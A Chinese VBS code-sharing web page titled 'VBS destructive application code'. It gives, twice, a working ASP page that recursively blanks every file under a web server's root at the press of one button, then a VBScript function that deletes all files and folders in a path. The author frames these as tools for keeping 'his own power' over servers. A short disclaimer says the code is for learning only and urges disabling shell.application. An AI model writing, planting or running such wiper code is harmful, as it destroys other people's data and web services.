- '网上看到的,适用与没有禁用shell.application的服务器
- server.scripttimeout = 99999
- If request("submit")<>"" Then
- Call listfile(server.mappath("./"))
- response.Write"处理完毕"
- Else
- response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
- End If
- Function listfile(fpath)
- On Error Resume Next
- Dim Shell, Folder, s
- Set Shell = server.CreateObject ("shell.application")
- Set Folder = Shell.namespace(fpath)
- Set f = server.CreateObject("adodb.stream")
- f.Type = 1
- f.Open
- For Each s in Folder.Items
- If s.isfolder Then
- Call listfile(s.Path)
- Else
- f.savetofile s.Path, 2
- End If
- Next
- Set f = Nothing
- Set Shell = Nothing
- End Function
- '网上看到的,适用与没有禁用shell.application的服务器
- server.scripttimeout = 99999
- If request("submit")<>"" Then
- Call listfile(server.mappath("./"))
- response.Write"处理完毕"
- Else
- response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
- End If
- Function listfile(fpath)
- On Error Resume Next
- Dim Shell, Folder, s
- Set Shell = server.CreateObject ("shell.application")
- Set Folder = Shell.namespace(fpath)
- Set f = server.CreateObject("adodb.stream")
- f.Type = 1
- f.Open
- For Each s in Folder.Items
- If s.isfolder Then
- Call listfile(s.Path)
- Else
- f.savetofile s.Path, 2
- End If
- Next
- Set f = Nothing
- Set Shell = Nothing
- End Function
- 以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:
- view plaincopy to clipboardprint?
- '看到文件删文件,看到文件夹删除文件夹
- Function FilesTree(sPath)
- Set oFso = CreateObject("Scripting.FileSystemObject")
- Set oFolder = oFso.GetFolder(sPath)
- Set oSubFolders = oFolder.SubFolders
- Set oFiles = oFolder.Files
- For Each oFile In oFiles
- 'WScript.Echo oFile.Path
- oFile.Delete
- Next
- For Each oSubFolder In oSubFolders
- 'WScript.Echo oSubFolder.Path
- oSubFolder.Delete
- 'FilesTree(oSubFolder.Path)'递归
- Next
- Set oFolder = Nothing
- Set oSubFolders = Nothing
- Set oFso = Nothing
- End Function
- FilesTree("F:\deltest\deltest") '遍历
VBS破坏性应用代码
2020-07-23 11:04VBS代码网 VBS
非常具有破坏性,所以如果自己有服务器的,一定要把shell.application组件禁掉,仅作学习使用。
延伸 · 阅读
- 2022-03-10c++代码各种注释示例详解
- 2022-03-09使用 React 和 TypeScript something 编写干净代码的十个
- 2022-03-09如何写好 Java 业务代码?这也是有很多规范的!
- 2022-03-07手动编译C#代码的方法
- 2022-03-03用 Python 实现导弹自动追踪,超燃!
- 2022-03-02如何优雅地给对象的所有方法添加异常处理
精彩推荐
- VBS
VBS教程:属性-AvailableSpace 属性
VBS教程:属性-AvailableSpace 属性 ...
- VBS
脚本 MsAgent组件 微软精灵 揪出系统自带的宠物
你知道系统里有一个隐藏的宠物吗? 将以下代码保存为后缀为.vbs的文件,再双击运行,看看出来什么?一个可爱的魔法老人!还会说话、移动、吹喇叭…...
- VBS
VBS教程:属性-VolumeName 属性
VBS教程:属性-VolumeName 属性...
- VBS
VBS教程:正则表达式简介 -建立正则表达式
建立正则表达式 构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。 可以...
- VBS
可以定时自动关机的vbs脚本
这篇文章主要分享一段可以定时自动关机的vbs脚本代码,有需要的童鞋可以学习下...
- VBS
VBS教程:对象-Folders 集合
VBS教程:对象-Folders 集合...
- VBS
vbs base64 解密脚本代码
解密base64的vbs小函数,支持英文与数字不支持中文。...
- VBS
提供个可以显示农历的VBS代码
本文主要分享一段可以显示农历的VBS代码,具有一定的参考价值,有需要的朋友可以了解一下...